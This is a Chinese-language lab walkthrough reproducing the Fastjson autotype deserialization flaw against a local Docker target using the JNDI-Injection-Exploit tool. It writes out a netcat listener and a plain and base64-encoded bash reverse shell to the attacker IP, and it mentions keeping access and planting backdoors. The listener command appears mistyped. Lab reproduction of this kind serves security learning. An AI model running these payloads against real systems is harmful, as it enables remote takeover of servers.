1.原理
fastjson是阿里巴巴开源的一个json解析库,能将json对象和json字符串进行序列化和反序列化操作。autotype功能是是漏洞的关键,autotype允许用户通过@type字段来选择具体的类进行反序列化。如果用户没有对反序列化的类进行严格限制,攻击者可以构造恶意的json字符串来触发这个漏洞
2.实验准备
攻击机kali ip:192.168.3.183
靶机ubuntu ip:192.168.3.163
1.Bp抓包会用到的插件
Releases · Maskhe/FastjsonScan (github.com)
2.fastjson工具
我是直接下载到靶机里,这个工具跟log4j2用的工具是一样的,如果你看过我的log4j2文章,你可以直接把这个工具复制到fastjson文件里应用
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
cd JNDI-Injection-Exploit
apt install maven
mvn clean package -DskipTests
最后下载完长这样,这个JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar就是我们要用到
3.漏洞复现
1.启动靶场,查看开放端口
docker-compose up -d
docker ps
访问http://your-ip:8090
2.漏洞检测
bp抓包,右键找到框中的位置点击转成post类型
3.漏洞验证
执行如下命令,如果最后执行成功,会在 /tmp 目录下创建一个名为 xiaocai 的空文件
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/xiaocai" -A "192.168.3.163"
你去文件夹里找会发现/tmp 目录下没有名为 xiaocai 的空文件,那是因为你打开的方式不对,我们可以执行
docker exec -it bbba060c8561 /bin/bash
即 docker exec -it 容器ID /bin/bash
4.漏洞利用
攻击机打开监听端口
nv -lvvp 9999
构建反弹shell
Runtime.exec Payload Generater | AresX's Blog (ares-x.com)
bash -i >& /dev/tcp/192.168.3.183/9999 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTgzLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}
开启服务器,将之前构造的反弹Shell在 -C 后面的参数进行替换即可
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTgzLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}"
4.维持权限,创建后门等
5.流量特征
有@type字样
6.防御方式
升级版本,禁用autotype功能,输入验证等
7.fastjson反序列化漏洞无回显
1.一种是直接将命令执行结果写到静态资源文件里面,如html,js等,然后可以通过http访问看到结果
2.通过dnslog外带
3.直接将命令结果回显到请求POC的http响应中